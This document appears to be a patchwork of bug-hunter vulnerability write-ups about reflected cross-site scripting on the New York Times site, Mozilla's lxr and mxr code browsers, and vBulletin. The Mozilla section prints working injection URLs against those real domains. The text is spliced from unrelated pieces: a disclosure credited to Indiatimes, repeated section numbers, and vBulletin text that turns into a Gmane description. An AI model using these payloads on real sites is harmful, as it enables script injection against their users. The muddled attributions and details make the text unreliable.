New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

The New York Times  Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)





Domain:
http://www.nytimes.com/



"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper's motto, "All the News That's Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)






(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs. 


The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.


Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.


Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.


However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

(3) What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.


"Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)





The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

Mozilla Online Website Two Sub-Domains XSS (Cross-site Scripting) Bugs ( All URLs Under the Two Domains)

Mozilla Online Website Two Sub-Domains XSS (Cross-site Scripting) Bugs ( All URLs Under the Two Domains)




Domains:
http://lxr.mozilla.org/
http://mxr.mozilla.org/
(The two domains above are almost the same)




Websites information:
"lxr.mozilla.org, mxr.mozilla.org are cross references designed to display the Mozilla source code. The sources displayed are those that are currently checked in to the mainline of the mozilla.org CVS server, Mercurial Server, and Subversion Server; these pages are updated many times a day, so they should be pretty close to the latest‑and‑greatest." (from Mozilla)

"Mozilla is a free-software community which produces the Firefox web browser. The Mozilla community uses, develops, spreads and supports Mozilla products, thereby promoting exclusively free software and open standards, with only minor exceptions. The community is supported institutionally by the Mozilla Foundation and its tax-paying subsidiary, the Mozilla Corporation. In addition to the Firefox browser, Mozilla also produces Thunderbird, Firefox Mobile, the Firefox OS mobile operating system, the bug tracking system Bugzilla and a number of other projects." (Wikipedia)






(1) Vulnerability description:

Mozilla website has a computer cyber security problem. Hacker can attack it by XSS bugs. Here is the description of XSS: "Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data.

The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)



All pages under the following two URLs are vulnerable.
http://lxr.mozilla.org/mozilla-central/source
http://mxr.mozilla.org/mozilla-central/source


This means all URLs under the above two domains can be used for XSS attacks targeting Mozilla's users.


Since there are large number of pages under them. Meanwhile, the contents of the two domains vary. This makes the vulnerability very dangerous. Attackers can use different URLs to design XSS attacks to Mozilla's variety class of users.
















POC Codes:
http://lxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>


http://mxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>

(2) Vulnerability Analysis:
Take the following link as an example,
http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest>


In the page reflected, it contains the following codes.
<a href="/mozilla-central/source/chrome/%253Cattacktest%253E">
<attacktest></attacktest>
</a>

If insert "<body onload=prompt("justqdjing")>" into the URL, the code can be executed.




The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

What is XSS?

"Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it." (OWASP)





(3) Vulnerability Disclosure:
The vulnerabilities were reported to Indiatimes in early September, 2014. However they are still unpatched.

(2) Vulnerability Details:
vBulletin web application has a computer security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user's browser session within the trust relationship between their browser and the server.

Several other similar products 0-day vulnerabilities have been found by some other bug hunter researchers before. vBulletion has patched some of them. Gmane (pronounced "mane") is an e-mail to news gateway. It allows users to access electronic mailing lists as if they were Usenet newsgroups, and also through a variety of web interfaces. Gmane is an archive; it never expires messages (unless explicitly requested by users). Gmane also supports importing list postings made prior to a list's inclusion on the service. It has published suggestions, advisories, solutions related to important vulnerabilities.

(2.1) The programming code flaw occurs at "forum/help" page. Add "hash symbol" first. Then add script at the end of it.
